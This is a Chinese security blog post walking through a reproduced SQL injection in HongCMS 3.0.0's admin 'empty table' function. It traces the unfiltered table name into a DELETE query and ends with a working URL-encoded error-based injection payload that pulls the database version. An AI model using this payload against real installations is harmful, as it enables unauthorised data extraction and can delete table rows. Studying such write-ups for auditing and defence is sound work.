f1ower's Blog

邪法面前,我亦无畏

PHP审计学习-HongCMS SQL复现

还是HongCMS的漏洞,在分析RCE的时候偶然看到还有一个SQl;

初学审计,还是本着复现学习的心理去分析,版本是HongCMS3.0.0;

参考链接为:https://www.0xss.cn/700.html;


SQL注入的问题,我首先还是在Web程序中进行测试;

功能点位于:系统->数据维护->数据库列表->清空功能,我首先去试试这个功能并分析:

image.png

只有这两个表具有清空的功能,然后我对sessions表进行一次清空,并在清空之前开启Mysql执行语句检测工具;

捕获到执行了如下的SQL语句:

2019/1/4 15:31	SET sql_mode=''
2019/1/4 15:31	SELECT s.sessionid, u.userid, u.username, u.activated, u.nickname FROM hong_sessions s
        LEFT JOIN hong_admin u ON u.userid = s.userid
        WHERE s.sessionid    = '61173af5c3fdb550bbbc4f436b187e07'
        AND s.useragent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36' 
        AND   s.admin = 1
        AND   u.activated = 1
2019/1/4 15:31	DELETE FROM `hong_sessions`

确实有一个DELETE操作,然后这个功能的包是这样的:

GET /admin/index.php/database/operate?dbaction=emptytable&tablename=hong_vvc HTTP/1.1

Host: hongcms.f1ower.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://hongcms.f1ower.com/admin/index.php/database

Cookie: Y3R12SC13bU9admin=336337cfb224493efb31e20b692fd824

Connection: close

Upgrade-Insecure-Requests: 1

通过这里大概知道了这个功能是通过/admin/index.php直接调用database控制器中的operate()方法进行数据库的清空操作,后面的dbaction和tablename是参数key,其后为value;

那么进入代码观察,首先去看一下这个控制器,位于/admin/controllers/database.php中:

public function operate(){
		$action = ForceStringFrom('dbaction');
		$tablename = ForceStringFrom('tablename');

		switch ($action){
			case 'checktable':
				$this->PrintResults('数据库表查错', $this->TableOperation($tablename, 'CHECK'));
				break;
			case 'checkall':
				$this->PrintResults('数据库表查错', $this->BatchTableOperation($_POST['tablenames'], 'CHECK'));
				break;
			case 'optimizetable':
				$this->PrintResults('数据库表优化', $this->TableOperation($tablename, 'OPTIMIZE'));
				break;
			case 'optimizeall':
				$this->PrintResults('数据库表优化',$this->BatchTableOperation($_POST['tablenames'], 'OPTIMIZE'));
				break;
			case 'repairtable':
				$this->PrintResults('数据库表修复',$this->TableOperation($tablename, 'REPAIR'));
				break;
			case 'repairall':
				$this->PrintResults('数据库表修复',$this->BatchTableOperation($_POST['tablenames'], 'REPAIR'));
				break;
			case 'backuptable':
				$this->PrintResults('数据库表备份',$this->BackupSingleTable($tablename));
				break;
			case 'backupall':
				$this->PrintResults('数据库表备份', $this->BatchBackupTable($_POST['tablenames']));
				break;
			case 'emptytable':
				$this->PrintResults('数据库表清空', $this->EmptyTable($tablename));
				break;
		}

		$this->index();
	}

operate()方法中有两个变量显而易见,分别为$action和$tablename,先看整体:

当有了这两个变量之后,使用$action变量在switch...case语句中控制业务流程流转。

我们这里的$action传入的是emptytable,所以我们跟到case 'emptytable'中,发现这里调用了PrintResults()方法去打印$this->EmptyTable($tablename)的结果;

那么在这里我去看了一下PrintResults()方法:

private function PrintResults($title, $message){
		if($message){
			ShowTips($message, '<font class="blueb">'.$title .'结果:</font>');	
		}else{
			Error('请选择数据库表, 再进行操作!', '维护数据库错误');
		}
	}

这个方法只是单纯的打印结果,否则打印错误出来,那么真正执行的$this->EmptyTable($tablename)才是我需要去分析的;


但是在这里我先梳理一下我的思维:

  1. 两个变量:$action和$tablename,具体怎么传值的我等会需要分析;

  2. 这个方法里面,$action用于内部的switch...case来判断应该执行什么方法,而真正传入这个即将要执行的方法的参数是:$tablename;


跟进EmptyTable():

private function EmptyTable($tablename){
		$this->db->exe("DELETE FROM `$tablename`");
		$msg = '已完成清空数据库表: ' . $tablename . '<br/>';

		return $msg;
	}

这个方法接受到刚才operate()方法中传入的$tablename,然后直接将这个变量拼接到SQL语句中:DELETE FROM `$tablename`,再调用$this->db->exe()方法去执行,

先看一下$db:

// /system/plugins/SAdmin.class.php
public function __construct($path){
		global $_CFG, $DB;

		include(ROOT . 'includes/functions.admin.php'); //加载函数库(包括前后台公共函数库)

		$this->config = & $_CFG;  //引用全局配置
		$this->db = & $DB;  //引用全局数据库连接实例
//引用了全局数据库链接的实例

然后看exe()方法:

function exe($query)	{  //$query="DELETE FROM `$tablename`"
		$this->query_nums++;

		$this->query_id = @mysql_query($query, $this->conn);  //执行了我们传入的$query
		if (!$this->query_id){
			$this->error("Invalid SQL: ".$query); //查询失败输出错误
		}

		if (preg_match("/^(insert|replace)\s+/i", $query)){
			$this->insert_id = @mysql_insert_id($this->conn); //记录新插入的ID
		}

		$this->result_nums = @mysql_affected_rows($this->conn); //记录影响的行数
		return $this->result_nums; //返回影响的行数
	}

该方法中,$query参数就是我们之前由$tablename拼接而成的"DELETE FROM `$tablename`";

这里的整个流程,都没有进行任何过滤,从operate()->EmptyTable()->exe() 执行SQL语句没有经过任何过滤;

然后我需要去分析一下ForceStringFrom()这个函数,因为在operate()方法中的$action和$tablename都是通过这个函数从$_POST或$_GET取得值并赋值给这两个变量,而这两个变量都是可控的;

在上篇文章中并未详细分析,因为上篇文中的漏洞被过滤的几率不是很大,但是这个SQL注入的话我必须要去看一下过滤;

//$action = ForceStringFrom('dbaction');  //$action为可控变量

function ForceStringFrom($VariableName, $DefaultValue = '') {
	if (isset($_GET[$VariableName])) {
		return ForceString($_GET[$VariableName], $DefaultValue);
	} elseif (isset($_POST[$VariableName])) {
		return ForceString($_POST[$VariableName], $DefaultValue);
	} else {
		return $DefaultValue;
	}
}

这个函数接收$_POST或$_GET,并通过$_POST或$_GET接收名为dbaction和tablename的参数的值,传递给ForceString()处理之后然后return;

然后ForceString()函数接收由ForceStringFrom()接收的值,进行处理:

如果这个值是一个字符串,那么return的内容为:EscapeSql(trim($InValue));

  1. 首先用trim()函数去除$InValue首尾的空白字符串,

  2. 然后使用EscapeSql()函数进行过滤,我猜测这是一个过滤函数;

跟着这个逻辑,我去看一下EscapeSql()函数:

function EscapeSql($query_string) {

	if (get_magic_quotes_gpc()) {
		$query_string = stripslashes($query_string);
	}

	$query_string = htmlspecialchars(str_replace (array('\0', ' '), '', $query_string), ENT_QUOTES);
	
	if(function_exists('mysql_real_escape_string')) {
		$query_string = mysql_real_escape_string($query_string);
	}else if(function_exists('mysql_escape_string')){
		$query_string = mysql_escape_string($query_string);
	}else{
		$query_string = addslashes($query_string);
	}

	return $query_string;
}

如果gpc开启,则使用stripslashes()函数进行去'\'处理,然后将$query_string使用htmlspecialchars()函数对'\0'和空格进行替换,然后判断mysql_real_escape_string()和mysql_escape_string()是否存在,存在则使用这两个函数进行过滤一次,如果都不存在,则使用addslashes()对$query_string进行一次过滤(加转义符);

等于说我们的Payload里面不能含有单引号('),双引号("),反斜线(\)和NULL字符(NULL);

构造Payload通过报错注入去获得系统版本:

原SQL语句:DELETE FROM `hong_vvc`

构造语句:DELETE FROM `hong_vvc` where vvcid=1 or updatexml(2,concat(0x7e,(version())),0) or ``

Payload:hong_vvc%60%20where%20vvcid%3D1%20or%20updatexml%282%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20or%20%60

漏洞验证:

image.png